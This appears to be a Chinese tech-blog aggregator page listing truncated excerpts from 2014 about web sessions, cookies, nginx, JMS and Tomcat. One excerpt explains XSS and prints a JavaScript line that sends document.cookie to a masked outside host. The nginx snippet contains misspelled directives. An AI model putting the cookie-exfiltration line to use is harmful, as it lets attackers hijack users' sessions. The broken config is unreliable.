开门见山,操作如下:首先,在前端nginx上需要做如下配置:location/{proxy_passhttp://test1;proxy_set_hearderhost$host;proxy_set_headerX-Real_IP$remoute_addr;proxy_set_header$proxy_add_x_forwarded_for;};nginx会在把请求转向后台real-server前把http报头中的ip地址进..
分类:
其他好文 时间:
2014-05-27 04:03:48
阅读次数:
321
在eclipse下的日志文档:!SESSION 2014-05-19 17:23:10.833
-----------------------------------------------
eclipse.buildId=4.3.2.M20140221-1700 java.version=1.8....
分类:
编程语言 时间:
2014-05-23 10:56:13
阅读次数:
457
在PHP中使用过SESSION的朋友可能会碰到这么一个问题,SESSION变量不能跨页传递。这令我苦恼了好些日子,最终通过查资料思考并解决了这个问题。我认为,出现这个问题的原因有以下几点:
1、客户端禁用了cookie 2、浏览器出现问题,暂时无法存取cookie 3、php.ini中的sessi....
分类:
其他好文 时间:
2014-05-23 10:47:03
阅读次数:
426
JMS规范定义了2种消息传输模式:持久传送模式和非持久传输模式。发送者可以通过如下类似的代码进行设置
TopicPublisher publihser = session.createPublisher(topic);
// 设置持久化传输
publihser.setDeliveryMode(DeliveryMode.PERSISTENT);这种方式对publisher发送的所有消息都有效,相...
分类:
其他好文 时间:
2014-05-23 08:22:35
阅读次数:
276
项目名称:/sessionVerificationCode
项目目录:
项目源码:
index.jsp
Insert title here
验证码:
success.js...
分类:
其他好文 时间:
2014-05-22 11:17:05
阅读次数:
256
背景: 测试部门做压力测试, 结果没压多久,就出现OutOfMemory. 原因查找,通过监控工具,发现StandardSession(org.apache.catalina.session.StandardSession)对象不断增长,毫无疑问,肯定是在不断创建Session对象.备注:一般做压力测试,每次请求都不会指定JESSESIONID值,导致Web容器认为每次请求都是新的请求,于是创建...
分类:
其他好文 时间:
2014-05-22 09:24:28
阅读次数:
438
xss的概念就不用多说了,它的危害是极大的,这就意味着一旦你的网站出现xss漏洞,就可以执行任意的js代码,最可怕的是攻击者利用js获取cookie或者session劫持,如果这里面包含了大量敏感信息(身份信息,管理员信息)等,那完了。。。
如下js获取cookie信息:
url=document.top.location.href;
cookie=document.cookie;
c=new Image();
c.src=’http://www.******.c...
分类:
其他好文 时间:
2014-05-22 08:24:14
阅读次数:
273
session
服务器用于缓存数据会话技术
默认情况:session依赖于cookie
对象HttpSession
1.session原理:
根据上图分析如下:
a.浏览器发送请求到服务器,并交给一个servlet进行处理。此时request.getSession()第一次创建session对象,将sessionId以cookie的方式发送给浏览器。同时在服务端会保存sessi...
分类:
编程语言 时间:
2014-05-22 08:08:44
阅读次数:
191
web应用的会话技术:打开浏览器并访问网站,请求多个资源,关闭浏览器的过程。
在这个过程中,缓存用户数据常用的有两种技术:
1.cookie技术:用于在浏览器端,缓存用户的数据,可以理解为数据缓存在用户本地
2.session技术:用于在服务端,缓存用户的数据,可以理解为数据缓存在服务器。
cookie技术:
1.服务器需要缓存数据,将数据发给浏览器,浏览器对缓存数据进行存储;当浏览器再...
分类:
编程语言 时间:
2014-05-20 15:51:06
阅读次数:
289
前言:在Web开发中,服务器可以为每个用户创建一个会话对象(Session对象),注意:一个浏览器独占一个Session对象(默认情况下)。因此,在需要保存数据时,服务器程序可以把用户数据写到浏览器独占的Session中,当用户用浏览器访问其他程序时,其他程序可以从用户的Session中取出数据为用...
分类:
其他好文 时间:
2014-05-20 11:35:40
阅读次数:
218